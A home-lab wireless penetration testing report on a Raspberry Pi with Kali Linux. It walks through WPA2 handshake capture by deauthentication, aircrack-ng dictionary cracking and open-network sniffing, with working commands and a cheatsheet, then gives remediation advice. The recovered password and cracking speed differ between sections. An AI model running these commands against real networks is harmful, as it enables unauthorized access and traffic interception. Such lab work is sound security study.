

WIRELESS PENTESTING HOME LAB

Technical Report

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Classification	Confidential — For Educational Use Only
Platform	Raspberry Pi 3B+ / Kali Linux 2026.1
Adapter	Alfa AWUS1900 (RTL8814AU)

*All activities were performed on personally owned equipment.
No third-party networks were tested without explicit authorization.*

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1. Executive Summary

This report documents a hands-on wireless security research lab built on a Raspberry Pi 3B+ running Kali Linux 2026.1. The lab was designed to study real-world Wi-Fi attack vectors in a controlled, legally compliant environment using personally owned equipment.

The lab successfully demonstrated the full WPA2 attack chain — from passive reconnaissance using Kismet and airodump-ng, through forced authentication handshake capture via IEEE 802.11 deauthentication frames, to offline dictionary-based credential recovery using aircrack-ng. Additionally, network traffic analysis on open networks was explored using tshark and Wireshark.

Key findings confirm that WPA2-PSK networks with manufacturer-default or weak passwords remain highly vulnerable to offline dictionary attacks. WPS-enabled routers represent an additional attack surface. Open networks expose all device traffic in plaintext, enabling trivial data interception.

Category	Count	Status
Networks Analyzed	6+	Completed
Handshakes Captured	2	Completed
Credentials Recovered	1	Completed
Hidden SSIDs Detected	2+	Completed
Open Networks Analyzed	1	Completed

2. Lab Environment & Hardware

2.1 Hardware Specifications

Component	Details
Host Device	Raspberry Pi 3B+ — ARM Cortex-A53 1.4GHz Quad-Core, 1GB RAM
Storage	MicroSD Card — 64GB (43.5 GB available after OS)
Operating System	Kali GNU/Linux Rolling 2026.1 (aarch64, kernel 6.12.34+rpt-rpi-v8)
Attack Adapter	Alfa AWUS1900 — Chipset RTL8814AU, 4x5dBi antennas, dual-band 2.4/5GHz, max 23dBm TX
Driver	realtek-rtl8814au-dkms v5.8.5.1~git20250903 (Kali repository)
Display	UCTronics B0106 — 3.5 inch HDMI LCD, 480x320px (headless monitoring)
Power Supply	Anker USB Power Bank (portable operation)
Target Router	Netgear (lab router) — BSSID B0:39:56:57:FC:A0, WPA2-PSK, channel 10
RAM (optimized)	129 MB used / 906 MB total (headless, no GUI) — Swap: 0K

2.2 System Optimizations Applied

- GUI (lightdm/XFCE) disabled — saves ~350MB RAM and prevents SD card wear from constant swap usage
- Swap configured to 1024MB via dphys-swapfile as safety net only
- Bluetooth masked via systemctl to eliminate unnecessary processes
- DNS locked in /etc/resolv.conf using chatrr +i to prevent NetworkManager overwrite
- udev rules configured to assign stable interface names based on MAC address
- Headless SSH-only operation via eth0 (static IP 10.0.0.30) and wlan0

3. Network Configuration

3.1 Interface Layout

Interface	MAC Address	IP Address	Role
eth0	b8:27:eb:e2:a6:34	10.0.0.30 (static)	SSH management — always stable
wlan0	b8:27:eb:b7:f3:61	10.0.0.29 (DHCP)	Pi onboard WiFi — internet access
wlan1	00:c0:ca:a5:0f:b1	N/A (monitor mode)	Alfa AWUS1900 — attack interface

3.2 Network Manager Configuration

- Network Manager used instead of dhcpcd (not present on this Kali build)
- eth0 configured with static IP via nmcli connection profile eth0-static
- NetworkManager.conf modified: [ifupdown] managed=true to allow eth0 management
- wlan1 (Alfa) set to unmanaged via nmcli to prevent interference with monitor mode
- avahi-daemon enabled for mDNS resolution (kali-raspberrypi.local) across any network

3.3 SSH Access Methods

Method	Address	Use Case
Ethernet (primary)	ssh bluek309@10.0.0.30	Home lab — always stable
WiFi — home network	ssh bluek309@10.0.0.29	Home lab — CloudNetwork
mDNS — any network	ssh bluek309@kali-raspberrypi.local	Field operation — any router
iPhone hotspot	ssh bluek309@172.20.10.2	Mobile — Shelly app from phone

4. Tools & Software

Tool	Version	Purpose
aircrack-ng	1.7	WPA2 handshake capture and dictionary-based cracking
airmon-ng	1.7	Monitor mode management and interference process killing
airodump-ng	1.7	Passive 802.11 packet capture, AP and client enumeration
aireplay-ng	1.7	IEEE 802.11 deauthentication frame injection
kismet	2025.09.R1	Passive WIDS — multi-protocol device detection, hidden SSID resolution, manufacturer identification
wireshark / tshark	4.6.4	Deep packet inspection, protocol analysis, open network traffic capture
reaver	1.6.6	WPS PIN brute-force attack
wash	1.6.6	WPS-enabled AP enumeration
bully	Installed	Alternative WPS brute-force tool
hostapd	Installed	Rogue AP creation for Evil Twin attacks
macchanger	Installed	MAC address manipulation and OUI lookup
tmux	Installed	Terminal multiplexer — simultaneous capture and injection sessions

5. Methodology

The lab followed a structured wireless penetration testing methodology aligned with industry standards. All phases were performed exclusively on personally owned equipment.

5.1 Phase 1 — Reconnaissance

1. Configured Alfa AWUS1900 in IEEE 802.11 monitor mode using iw and nmcli
2. Set TX power to 20 dBm (compliant with SUTEL Costa Rica regulations — max 24 dBm output)
3. Executed passive scanning with airodump-ng across 2.4GHz and 5GHz bands
4. Launched Kismet for extended passive monitoring — identified 66+ devices including cloaked SSIDs
5. Enumerated AP manufacturers using OUI lookup against MAC address prefixes
6. Identified WPS-enabled access points using wash

5.2 Phase 2 — Handshake Capture

7. Targeted specific AP (NETGEAR78, BSSID B0:39:56:57:FC:A0, channel 10)
8. Focused airodump-ng on target with --bssid and --channel flags, writing to .cap file
9. Identified active client station (iPhone, MAC 7E:C1:7B:E5:A9:63)
10. Transmitted IEEE 802.11 deauthentication frames using aireplay-ng --deauth
11. Captured 4-way EAPOL handshake as client automatically re-associated
12. Verified handshake integrity with aircrack-ng

5.3 Phase 3 — Credential Recovery

13. Transferred .cap file to analysis machine via SCP
14. Executed dictionary attack using manufacturer-specific wordlist (NETGEAR-WiFi-Wordlist)
15. Successfully recovered plaintext PSK: rockyspider427 in under 10 minutes (7.8M keys/s)
16. Validated recovered credentials by authenticating to target network

5.4 Phase 4 — Open Network Analysis

17. Identified open (OPN) network associated with IoT camera
18. Captured device traffic using tshark with MAC-based BPF filter
19. Analyzed DNS queries, IP destinations, and protocol behavior
20. Identified potential RTSP stream exposure on port 554

6. Findings & Vulnerabilities

Finding 1 — WPA2-PSK Weak Password (Default Credentials)

Severity	High
Target	NETGEAR78 — B0:39:56:57:FC:A0
Encryption	WPA2-PSK CCMP
Attack Vector	Deauthentication + offline dictionary attack
Result	Password recovered: rockyspider427 (in manufacturer wordlist)
Impact	Full network access — all connected devices exposed, traffic interceptable

Finding 2 — Hidden SSID Provides No Real Security

Severity	Medium
Target	48:B4:24:8E:55:C7 — cloaked SSID
Method	Kismet passive detection + probe request capture
Result	BSSID, channel, and encryption type fully visible. SSID revealed via client probe requests
Impact	Security through obscurity — ineffective against passive monitoring tools

Finding 3 — Open Network Traffic Exposure (IoT Camera)

Severity	Critical
Target	IoT camera on open (OPN) WiFi network
Method	Passive packet capture with tshark — no decryption required
Exposed Data	DNS queries, IP destinations, device fingerprint, potential RTSP video stream on port 554
Impact	Complete traffic visibility — device behavior, cloud endpoints, potential video stream interception

Finding 4 — WPS Enabled on Multiple APs

Severity	High
Method	wash -i wlan1 enumeration
Result	Multiple APs detected with WPS enabled — vulnerable to Pixie Dust and brute-force PIN attacks
Impact	WPA2 password recovery possible even without handshake capture

7. Attack Walkthroughs

7.1 WPA2 Handshake Capture — Full Chain

Step 1: Enable monitor mode on Alfa adapter

```
ip link set wlan1 down
iw dev wlan1 set type monitor
ip link set wlan1 up
iw dev wlan1 set txpower fixed 2000      # 20 dBm
iw dev wlan1 info | grep type           # verify: type monitor
```

Step 2: Reconnaissance — identify target AP and clients

```
airodump-ng wlan1
```

Output analysis: identify target BSSID B0:39:56:57:FC:A0 on channel 10 with client 7E:C1:7B:E5:A9:63

Step 3: Focused capture on target network (tmux panel 1)

```
airodump-ng --bssid B0:39:56:57:FC:A0 \
            --channel 10 \
            --write /home/bluek309/caps/NETGEAR78 \
            wlan1
```

Step 4: Force handshake via deauthentication (tmux panel 2)

```
aireplay-ng --deauth 10 \
            -a B0:39:56:57:FC:A0 \
            -c 7E:C1:7B:E5:A9:63 \
            wlan1
```

Result: [WPA handshake: B0:39:56:57:FC:A0] appears in airodump-ng header

Step 5: Verify and crack handshake

```
aircrack-ng NETGEAR78-01.cap                                # verify
aircrack-ng -w /usr/share/wordlists/netgear-wordlist.txt \
            NETGEAR78-01.cap
```

Result: KEY FOUND! [rockspider427] — recovered in 9 minutes 36 seconds at 13,815 k/s

7.2 Hidden SSID Discovery

```
kismet -c wlan1
```

Kismet web UI at <http://10.0.0.30:2501> — devices panel shows cloaked SSID entries. Message log shows: '802.11 Wi-Fi device 48:B4:24:8E:55:C7 advertising a cloaked SSID'

Alternative method — capture probe requests to reveal SSID:

```
tshark -i wlan1 -Y 'wlan.fc.type_subtype == 4' \
      -T fields -e wlan.sa -e wlan_mgt.ssid
```

8. Remediation Recommendations

Recommendation	Priority	Details
Replace default router password	Critical	Use 20+ character random passphrase not found in manufacturer wordlists
Disable WPS on all APs	High	WPS PIN attacks bypass WPA2 entirely regardless of password strength
Migrate to WPA3	High	WPA3-SAE is resistant to offline dictionary attacks due to Simultaneous Authentication of Equals
Isolate IoT devices on separate VLAN	Critical	IoT cameras must never share a network with user devices or use open WiFi
Enable WPA2/3 on all IoT devices	Critical	Open networks expose all device traffic — DNS, video streams, cloud endpoints
Remove hidden SSID reliance	Medium	Hidden SSIDs are visible to passive monitoring tools — not a security control
Monitor for deauth attacks	Medium	Deploy WIDS solution (Kismet) to detect deauthentication frame floods indicating active attack
Enable Management Frame Protection	Medium	802.11w MFP protects deauthentication and disassociation frames from spoofing

9. Command Reference Cheatsheet

9.1 Monitor Mode Setup

```
# Enable monitor mode
ip link set wlan1 down
iw dev wlan1 set type monitor
ip link set wlan1 up
iw dev wlan1 set txpower fixed 2000      # 20 dBm

# Verify
iw dev wlan1 info | grep type           # type monitor

# Kill interfering processes (ensure eth0 cable connected first)
airmon-ng check kill

# Auto script - detects Alfa by MAC address
/home/bluek309/scripts/monitor_mode_wl.sh
```

9.2 Reconnaissance

```
# Scan all bands
airodump-ng wlan1                        # all channels
airodump-ng --band bg wlan1              # 2.4GHz only
airodump-ng --band a wlan1               # 5GHz only

# Kismet - passive WIDS
kismet -c wlan1                          # web UI at :2501

# WPS enumeration
wash -i wlan1
```

9.3 Handshake Capture & Crack

```
# Focused capture
airodump-ng --bssid <BSSID> --channel <CH> --write /caps/out wlan1

# Deauthentication (run while airodump is capturing)
aireplay-ng --deauth 10 -a <BSSID> -c <CLIENT_MAC> wlan1

# Verify handshake
aircrack-ng /caps/out-01.cap

# Crack with wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt /caps/out-01.cap
aircrack-ng -w /usr/share/wordlists/netgear-wordlist.txt /caps/out-01.cap
```

9.4 Traffic Analysis

```
# Capture device traffic by MAC
tshark -i wlan1 -f 'ether host <MAC>' -T fields -e ip.dst -e dns.qry.name

# Detect RTSP streams
tshark -r capture.pcap -Y 'rtsp'

# Reveal hidden SSID via probe requests
tshark -i wlan1 -Y 'wlan.fc.type_subtype == 4' -T fields -e wlan.sa -e wlan.mgt.ssid
```

9.5 File Transfer & System

```
# Transfer capture file to analysis machine
scp bluek309@10.0.0.30:/home/bluek309/caps/out-01.cap ~/Desktop/

# System monitoring
free -h && uptime
htop

# Safe shutdown
sudo shutdown -h now
```

10. Legal & Ethical Considerations

All activities documented in this report were conducted exclusively on personally owned equipment within a controlled home lab environment. No third-party networks, devices, or systems were accessed or tested without explicit authorization.

- All routers and access points used are personally owned lab equipment
- All client devices connected to lab networks are personally owned
- TX power maintained at 20 dBm — compliant with SUTEL Costa Rica regulations (max 24 dBm output, 30 dBm EIRP)
- No credentials recovered were used to access any production system
- Captured network traffic was not retained beyond the lab session

Conducting these techniques against networks without explicit written authorization is illegal under Costa Rica Ley 9048 (Ley de Delitos Informáticos) and equivalent legislation in other jurisdictions. This report is produced solely for educational and professional development purposes.

11. Conclusion

This lab successfully demonstrated the complete WPA2 attack chain on a low-cost, portable platform. The Raspberry Pi 3B+ combined with the Alfa AWUS1900 adapter proved to be a capable and cost-effective wireless security research platform, capable of passive reconnaissance, active frame injection, handshake capture, and traffic analysis.

The most critical finding is that WPA2-PSK networks using manufacturer-default or dictionary-predictable passwords remain trivially vulnerable to offline attacks. A single captured 4-way handshake — obtained passively or via a 10-frame deauthentication burst — is sufficient to conduct an unlimited offline brute-force attack with no further network interaction required.

The lab also demonstrated that common misconceptions about wireless security — such as the protective value of hidden SSIDs or the assumption that open networks are acceptable for IoT devices — represent real-world risks that are easily exploited with freely available tools.

Lab Objective	Outcome
Build portable wireless pentesting platform	Achieved — Pi 3B+ + Alfa AWUS1900 fully operational
Demonstrate passive reconnaissance	Achieved — 66+ devices detected with Kismet
Capture WPA2 handshake	Achieved — 4-way EAPOL handshake captured successfully
Recover WPA2 credentials	Achieved — PSK recovered via manufacturer wordlist
Detect hidden SSIDs	Achieved — cloaked SSIDs identified via Kismet and probe capture
Analyze open network traffic	Achieved — device traffic captured and analyzed with tshark
Remote field operation via SSH	Achieved — full lab control from mobile phone via Shelly app